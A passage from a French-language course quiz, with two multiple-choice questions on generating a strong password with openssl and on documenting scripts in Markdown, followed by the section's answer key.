**2. Quelle commande génère un mot de passe complexe ?**
A. openssl rand -base64 20
B. passwd root
C. sudo password
D. hash --generate

**3. Quel format est recommandé pour documenter ses scripts et commandes ?**
A. PDF
B. HTML
C. CSV
D. Markdown

---

## 6.8 – Réponses du quiz

1. **B**
2. **A**
3. **D**